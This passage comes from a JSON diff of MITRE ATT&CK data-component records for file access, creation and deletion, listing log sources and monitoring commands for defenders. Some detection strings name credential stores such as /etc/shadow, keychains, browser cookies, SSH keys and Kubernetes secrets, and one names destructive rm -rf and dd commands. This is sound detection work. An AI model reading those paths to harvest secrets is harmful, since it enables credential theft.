\"channel\": \"sensitive credential files in buckets or local image storage\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read of sensitive directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"read of user document directories\"}, {\"name\": \"esxi:syslog\", \"channel\": \"guest OS outbound transfer logs\"}, {\"name\": \"auditd:PATH\", \"channel\": \"PATH\"}, {\"name\": \"fs:fsusage\", \"channel\": \"Filesystem Call Monitoring\"}, {\"name\": \"esxi:hostd\", \"channel\": \"vSphere File API Access\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read: Access to /proc/self/status with focus on TracerPID field\"}, {\"name\": \"fs:fsusage\", \"channel\": \"read/write\"}, {\"name\": \"esxis:vmkernel\", \"channel\": \"Datastore Access\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read access to ~/.bash_history\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"open or read syscall to ~/.bash_history\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"read access to ~/Library/Keychains/login.keychain-db\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open,read\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"filesystem and process events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read system calls to ~/.bash_history or /etc/shadow\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"read access to ~/Library/Keychains or history files by terminal processes\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"read of /run/secrets or docker volumes by non-entrypoint process\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"access to /Volumes/SharePoint or network mount\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Reads of ~/.bash_history, ~/.mozilla, or access to /dev/input\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Access to ~/Library/Safari/Bookmarks.plist or recent files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"access to keychain database\"}, {\"name\": \"auditd:PATH\", \"channel\": \"file read\"}, {\"name\": \"linux:syslog\", \"channel\": \"kernel messages related to cryptographic operations, module loading, and filesystem access patterns\"}, {\"name\": \"fs:fsevents\", \"channel\": \"file system events indicating access to system configuration files and environmental information sources\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"es_event_open, es_event_exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open: Access to named pipes or FIFO in /tmp or /dev/shm by unexpected processes\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open or read to browser cookie storage\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file open for known browser cookie paths\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, read, mount\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file reads/writes from /Volumes/\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream - file provider subsystem\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"file\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Access to /var/lib/sss/secrets/secrets.ldb or .secrets.mkey\"}, {\"name\": \"fs:quarantine\", \"channel\": \"/var/log/quarantine.log\"}, {\"name\": \"desktop:file_manager\", \"channel\": \"nautilus, dolphin, or gvfs logs\"}, {\"name\": \"linux:osquery\", \"channel\": \"/proc/*/maps access\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read of sensitive directories (/etc, /home/*)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"read/write of user documents prior to upload\"}, {\"name\": \"esxi:hostd\", \"channel\": \"file copy or datastore upload via HTTPS\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"open/read access to private key files (id_rsa, *.pem, *.p12)\"}, {\"name\": \"linux:osquery\", \"channel\": \"None\"}, {\"name\": \"macos:osquery\", \"channel\": \"None\"}, {\"name\": \"fs:fileevents\", \"channel\": \"File system access events with kFSEventStreamEventFlagItemRemoved, kFSEventStreamEventFlagItemRenamed flags for environmental artifact collection (/System/Library, /usr/sbin, plist files)\"}, {\"name\": \"auditd:FS\", \"channel\": \"read: File access to /proc/modules or /sys/module/\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"read: File access to /System/Library/Extensions/ or related kernel extension paths\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"PATH\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read on ~/.local/share/keepassxc/* OR ~/.password-store/*\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"*.opvault OR *.ldb OR *.kdbx\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.674000+00:00\", \"old_value\": \"2025-04-18 15:10:07.996000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 19:32:14.744000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/data-components/DC0039", + "external_id": "DC0039" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "File Creation", + "description": "A new file is created on a system or network storage. This action often signifies an operation such as saving a document, writing data, or deploying a file. Logging these events helps identify legitimate or potentially malicious file creation activities. Examples include logging file creation events (e.g., Sysmon Event ID 11 or Linux auditd logs). \n\nThis data component can be collected through the following measures:\n\nWindows\n\n- Sysmon: Event ID 11: Logs file creation events, capturing details like the file path, hash, and creation time.\n- Windows Event Log: Enable \"Object Access\" auditing in Group Policy to track file creation under Event ID 4663.\n- PowerShell: Real-time monitoring of file creation:`Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663}`\n\nLinux\n\n- Auditd: Use audit rules to monitor file creation: `auditctl -w /path/to/directory -p w -k file_creation`\n- View logs: `ausearch -k file_creation`\n- Inotify: Monitor file creation with inotifywait: `inotifywait -m /path/to/watch -e create`\n\nmacOS\n\n- Unified Logs: Use the macOS Unified Logging System to capture file creation events.\n- FSEvents: Use File System Events to monitor file creation: `fs_usage | grep create`\n\nNetwork Devices\n\n- NAS Logs: Monitor file creation events on network-attached storage devices.\n- SMB Logs: Collect logs of file creation activities over SMB/CIFS protocols.\n\nSIEM Integration\n\n- Forward logs from all platforms (Windows, Linux, macOS) to a SIEM for central analysis and alerting.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "File", + "channel": "None" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "name": "auditd:SYSCALL", + "channel": "creat" + }, + { + "name": "macos:unifiedlog", + "channel": "file write" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "Modification of .asar in /opt or ~/.config directories" + }, + { + "name": "macos:osquery", + "channel": "CREATE/MODIFY: Modification of app.asar inside .app bundle" + }, + { + "name": "auditd:FILE", + "channel": "File creation with name starting with '.'" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation or modification of browser extension .plist files" + }, + { + "name": "auditd:SYSCALL", + "channel": "open or creat syscalls targeting excluded paths" + }, + { + "name": "macos:unifiedlog", + "channel": "file creation in AV exclusion directories" + }, + { + "name": "auditd:SYSCALL", + "channel": "file creation/modification" + }, + { + "name": "macos:unifiedlog", + "channel": "file write/create" + }, + { + "name": "esxi:vmkernel", + "channel": "file write" + }, + { + "name": "snmp:syslog", + "channel": "firmware write/log event" + }, + { + "name": "auditd:SYSCALL", + "channel": "open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions" + }, + { + "name": "fs:fsevents", + "channel": "Create in /Users/*/Downloads or /private/var/folders/* with quarantine attribute" + }, + { + "name": "macos:unifiedlog", + "channel": "file events" + }, + { + "name": "esxi:vmkernel", + "channel": "VMFS file creation" + }, + { + "name": "auditd:SYSCALL", + "channel": "write/open, FIM audit" + }, + { + "name": "fs:fsusage", + "channel": "open/write/exec calls" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of .plist under /Library/Managed Preferences/" + }, + { + "name": "fs:fileevents", + "channel": "creat" + }, + { + "name": "fs:fsusage", + "channel": "disk activity on /Library/LaunchAgents or LaunchDaemons" + }, + { + "name": "macos:osquery", + "channel": "file_events" + }, + { + "name": "auditd:SYSCALL", + "channel": "open: Write to ~/.vscode-cli/code_tunnel.json" + }, + { + "name": "macos:unifiedlog", + "channel": "creation of ~/.vscode-cli/code_tunnel.json" + }, + { + "name": "macos:unifiedlog", + "channel": "create/modify dylib files in monitored directories" + }, + { + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "name": "linux:Sysmon", + "channel": "New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch" + }, + { + "name": "macos:unifiedlog", + "channel": "New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children" + }, + { + "name": "auditd:FILE", + "channel": "create: New file created in system binaries or temp directories" + }, + { + "name": "macos:unifiedlog", + "channel": "File created in ~/Library/LaunchAgents or executable directories" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, unlink, rename: File creation or deletion involving critical stored data" + }, + { + "name": "macos:unifiedlog", + "channel": "Process wrote large .mov/.mp4 in user temp/hidden dirs" + }, + { + "name": "macos:unifiedlog", + "channel": "logd:file write" + }, + { + "name": "fs:fsusage", + "channel": "File IO" + }, + { + "name": "auditd:SYSCALL", + "channel": "creat, open, write on /etc/systemd/system and /usr/lib/systemd/system" + }, + { + "name": "macos:unified", + "channel": "File creation" + }, + { + "name": "macos:unifiedlog", + "channel": "Attachment files written to ~/Downloads or temporary folders" + }, + { + "name": "fs:fsusage", + "channel": "file activity" + }, + { + "name": "CloudTrail:PutObject", + "channel": "PutObject" + }, + { + "name": "auditd:PATH", + "channel": "Creation of files with extensions .sql, .csv, .sqlite, especially in user directories" + }, + { + "name": "macos:unifiedlog", + "channel": "Writes of .sql/.csv/.xlsx files to user documents/downloads" + }, + { + "name": "auditd:PATH", + "channel": "New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install" + }, + { + "name": "auditd:SYSCALL", + "channel": "write, open, or rename to /etc/systemd/system/*.service" + }, + { + "name": "auditd:FILE", + "channel": "create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories" + }, + { + "name": "fs:fsusage", + "channel": "file open/write" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions" + }, + { + "name": "auditd:FILE", + "channel": "create: Creation of archive files in /tmp, /var/tmp, or user home directories" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories" + }, + { + "name": "linux:osquery", + "channel": "file_events" + }, + { + "name": "macos:unifiedlog", + "channel": "File Events" + }, + { + "name": "auditd:SYSCALL", + "channel": "File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation or modification of postinstall scripts within .pkg or .mpkg contents" + }, + { + "name": "auditd:SYSCALL", + "channel": "open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang" + }, + { + "name": "macos:unifiedlog", + "channel": "create: New files in /tmp or ~/Library/Application Support/* with executable or script extensions" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, write, unlink" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "File creation of suspicious scripts/binaries in temporary directories" + }, + { + "name": "macos:unifiedlog", + "channel": "File creation of unsigned binaries/scripts in user cache or download directories" + }, + { + "name": "auditd:SYSCALL", + "channel": "File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds" + }, + { + "name": "fs:fsusage", + "channel": "create: Attachment file creation in ~/Library/Mail directories" + }, + { + "name": "WinEventLog:Microsoft-Windows-Shell-Core", + "channel": "New startup folder shortcut or binary placed in Startup directory" + }, + { + "name": "auditd:SYSCALL", + "channel": "write or create file after .bash_history access" + }, + { + "name": "auditd:SYSCALL", + "channel": "new file created in /var/www/html, /srv/http, or similar web root" + }, + { + "name": "fs:launchdaemons", + "channel": "file_create" + }, + { + "name": "auditd:PATH", + "channel": "mount target path within /proc/*" + }, + { + "name": "macos:fsevents", + "channel": "/Library/StartupItems/, ~/Library/LaunchAgents/" + }, + { + "name": "fs:fsusage", + "channel": "write or chmod to ~/Library/LaunchAgents/*.plist" + }, + { + "name": "auditd:PATH", + "channel": "creation of .so files in non-standard directories (e.g., /tmp, /home/*)" + }, + { + "name": "auditd:FILE", + "channel": "create: Creation of files with anomalous headers and entropy levels in /tmp or user directories" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of files with anomalous headers and entropy values" + }, + { + "name": "auditd:SYSCALL", + "channel": "Access or modification to /lib/modules or creation of .ko files" + }, + { + "name": "fs:fsevents", + "channel": "Directory events (kFSEventStreamEventFlagItemCreated)" + }, + { + "name": "gcp:workspaceaudit", + "channel": "drive.activity logs" + }, + { + "name": "fs:fileevents", + "channel": "create/write/rename in user-writable paths" + }, + { + "name": "auditd:PATH", + "channel": "WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs" + }, + { + "name": "macos:osquery", + "channel": "CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations" + }, + { + "name": "auditd:SYSCALL", + "channel": "open,create" + }, + { + "name": "auditd:FILE", + "channel": "Creation of hidden files (.*) in sensitive directories (/etc, /var, /usr/bin)" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories" + }, + { + "name": "auditd:FILE", + "channel": "create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of .zip or .dmg files in user-accessible or temporary directories" + }, + { + "name": "fs:fsusage", + "channel": "file write" + }, + { + "name": "macos:endpointsecurity", + "channel": "es_event_open" + }, + { + "name": "macos:unifiedlog", + "channel": "file create or modify in /etc/emond.d/rules or /private/var/db/emondClients" + }, + { + "name": "auditd:SYSCALL", + "channel": "open,creat,rename,write" + }, + { + "name": "macos:unifiedlog", + "channel": "Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins" + }, + { + "name": "AWS:CloudTrail", + "channel": "PutObject" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_data_source_ref": "", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/data-components/DC0039\", \"external_id\": \"DC0039\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"File\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=11\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"creat\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file write\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"Modification of .asar in /opt or ~/.config directories\"}, {\"name\": \"macos:osquery\", \"channel\": \"CREATE/MODIFY: Modification of app.asar inside .app bundle\"}, {\"name\": \"auditd:FILE\", \"channel\": \"File creation with name starting with '.'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation or modification of browser extension .plist files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open or creat syscalls targeting excluded paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file creation in AV exclusion directories\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"file creation/modification\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file write/create\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"file write\"}, {\"name\": \"snmp:syslog\", \"channel\": \"firmware write/log event\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions\"}, {\"name\": \"fs:fsevents\", \"channel\": \"Create in /Users/*/Downloads or /private/var/folders/* with quarantine attribute\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file events\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"VMFS file creation\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write/open, FIM audit\"}, {\"name\": \"fs:fsusage\", \"channel\": \"open/write/exec calls\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of .plist under /Library/Managed Preferences/\"}, {\"name\": \"fs:fileevents\", \"channel\": \"creat\"}, {\"name\": \"fs:fsusage\", \"channel\": \"disk activity on /Library/LaunchAgents or LaunchDaemons\"}, {\"name\": \"macos:osquery\", \"channel\": \"file_events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open: Write to ~/.vscode-cli/code_tunnel.json\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"creation of ~/.vscode-cli/code_tunnel.json\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"create/modify dylib files in monitored directories\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children\"}, {\"name\": \"auditd:FILE\", \"channel\": \"create: New file created in system binaries or temp directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File created in ~/Library/LaunchAgents or executable directories\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, unlink, rename: File creation or deletion involving critical stored data\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process wrote large .mov/.mp4 in user temp/hidden dirs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"logd:file write\"}, {\"name\": \"fs:fsusage\", \"channel\": \"File IO\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"creat, open, write on /etc/systemd/system and /usr/lib/systemd/system\"}, {\"name\": \"macos:unified\", \"channel\": \"File creation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Attachment files written to ~/Downloads or temporary folders\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file activity\"}, {\"name\": \"CloudTrail:PutObject\", \"channel\": \"PutObject\"}, {\"name\": \"auditd:PATH\", \"channel\": \"Creation of files with extensions .sql, .csv, .sqlite, especially in user directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Writes of .sql/.csv/.xlsx files to user documents/downloads\"}, {\"name\": \"auditd:PATH\", \"channel\": \"New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write, open, or rename to /etc/systemd/system/*.service\"}, {\"name\": \"auditd:FILE\", \"channel\": \"create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file open/write\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions\"}, {\"name\": \"auditd:FILE\", \"channel\": \"create: Creation of archive files in /tmp, /var/tmp, or user home directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories\"}, {\"name\": \"linux:osquery\", \"channel\": \"file_events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File Events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation or modification of postinstall scripts within .pkg or .mpkg contents\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"create: New files in /tmp or ~/Library/Application Support/* with executable or script extensions\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, write, unlink\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"File creation of suspicious scripts/binaries in temporary directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File creation of unsigned binaries/scripts in user cache or download directories\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds\"}, {\"name\": \"fs:fsusage\", \"channel\": \"create: Attachment file creation in ~/Library/Mail directories\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Shell-Core\", \"channel\": \"New startup folder shortcut or binary placed in Startup directory\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write or create file after .bash_history access\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"new file created in /var/www/html, /srv/http, or similar web root\"}, {\"name\": \"fs:launchdaemons\", \"channel\": \"file_create\"}, {\"name\": \"auditd:PATH\", \"channel\": \"mount target path within /proc/*\"}, {\"name\": \"macos:fsevents\", \"channel\": \"/Library/StartupItems/, ~/Library/LaunchAgents/\"}, {\"name\": \"fs:fsusage\", \"channel\": \"write or chmod to ~/Library/LaunchAgents/*.plist\"}, {\"name\": \"auditd:PATH\", \"channel\": \"creation of .so files in non-standard directories (e.g., /tmp, /home/*)\"}, {\"name\": \"auditd:FILE\", \"channel\": \"create: Creation of files with anomalous headers and entropy levels in /tmp or user directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of files with anomalous headers and entropy values\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Access or modification to /lib/modules or creation of .ko files\"}, {\"name\": \"fs:fsevents\", \"channel\": \"Directory events (kFSEventStreamEventFlagItemCreated)\"}, {\"name\": \"gcp:workspaceaudit\", \"channel\": \"drive.activity logs\"}, {\"name\": \"fs:fileevents\", \"channel\": \"create/write/rename in user-writable paths\"}, {\"name\": \"auditd:PATH\", \"channel\": \"WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs\"}, {\"name\": \"macos:osquery\", \"channel\": \"CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open,create\"}, {\"name\": \"auditd:FILE\", \"channel\": \"Creation of hidden files (.*) in sensitive directories (/etc, /var, /usr/bin)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories\"}, {\"name\": \"auditd:FILE\", \"channel\": \"create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of .zip or .dmg files in user-accessible or temporary directories\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file write\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"es_event_open\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file create or modify in /etc/emond.d/rules or /private/var/db/emondClients\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open,creat,rename,write\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"PutObject\"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 19:32:14.744000+00:00\", \"old_value\": \"2025-04-18 15:10:18.072000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}, \"root['x_mitre_data_source_ref']\": {\"new_value\": \"\", \"old_value\": \"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:36.450000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0040", + "external_id": "DC0040" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "File Deletion", + "description": "Refers to events where files are removed from a system or storage device. These events can indicate legitimate housekeeping activities or malicious actions such as attackers attempting to cover their tracks. Monitoring file deletions helps organizations identify unauthorized or suspicious activities.\n\nThis data component can be collected through the following measures:\n\nWindows\n\n- Sysmon: Event ID 23: Logs file deletion events, including details such as file paths and responsible processes.\n- Windows Event Log: Enable \"Object Access\" auditing to monitor file deletions.\n- PowerShell: `Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} | Where-Object {$_.Message -like '*DELETE*'}`\n\nLinux\n\n- Auditd: Use audit rules to capture file deletion events: `auditctl -a always,exit -F arch=b64 -S unlink -S rename -S rmdir -k file_deletion`\n- Query logs: `ausearch -k file_deletion`\n- Inotify: Use inotifywait to monitor file deletions: `inotifywait -m /path/to/watch -e delete`\n\nmacOS\n\n- Endpoint Security Framework (ESF): Monitor events like ES_EVENT_TYPE_AUTH_UNLINK to capture file deletion activities.\n- FSEvents: Track file deletion activities in real-time: `fs_usage | grep unlink`\n\nSIEM Integration\n\n- Forward file deletion logs to a SIEM for centralized monitoring and correlation with other events.\n", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "File", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "unlink/unlinkat on service binaries or data targets" + }, + { + "name": "auditd:SYSCALL", + "channel": "file deletion" + }, + { + "name": "macos:osquery", + "channel": "file_events" + }, + { + "name": "esxi:shell", + "channel": "shell history" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=23" + }, + { + "name": "auditd:SYSCALL", + "channel": "PATH" + }, + { + "name": "esxi:shell", + "channel": "/var/log/shell.log" + }, + { + "name": "esxi:hostd", + "channel": "delete action" + }, + { + "name": "auditd:SYSCALL", + "channel": "unlink, unlinkat, openat, write" + }, + { + "name": "macos:unifiedlog", + "channel": "exec rm -rf|dd if=/dev|srm|file unlink" + }, + { + "name": "auditd:SYSCALL", + "channel": "unlink, unlinkat, rmdir" + }, + { + "name": "auditd:SYSCALL", + "channel": "unlink, rename, open" + }, + { + "name": "linux:Sysmon", + "channel": "EventCode=23" + }, + { + "name": "fs:fsusage", + "channel": "unlink, fs_delete" + }, + { + "name": "docker:daemon", + "channel": "container file operations" + }, + { + "name": "esxi:hostd", + "channel": "rm, clearlogs, logrotate" + }, + { + "name": "esxi:hostd", + "channel": "Datastore file operations" + }, + { + "name": "macos:osquery", + "channel": "CREATE, DELETE, WRITE: Stored data manipulation attempts by unauthorized processes" + }, + { + "name": "auditd:SYSCALL", + "channel": "unlink/unlinkat" + }, + { + "name": "WinEventLog:Microsoft-Windows-Backup", + "channel": "Windows Backup Catalog deletion or catalog corruption" + }, + { + "name": "auditd:CONFIG_CHANGE", + "channel": "/etc/fstab, /etc/systemd/*" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0040\", \"external_id\": \"DC0040\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"File\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"unlink/unlinkat on service binaries or data targets\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"file deletion\"}, {\"name\": \"macos:osquery\", \"channel\": \"file_events\"}, {\"name\": \"esxi:shell\", \"channel\": \"shell history\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=23\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"PATH\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/shell.log\"}, {\"name\": 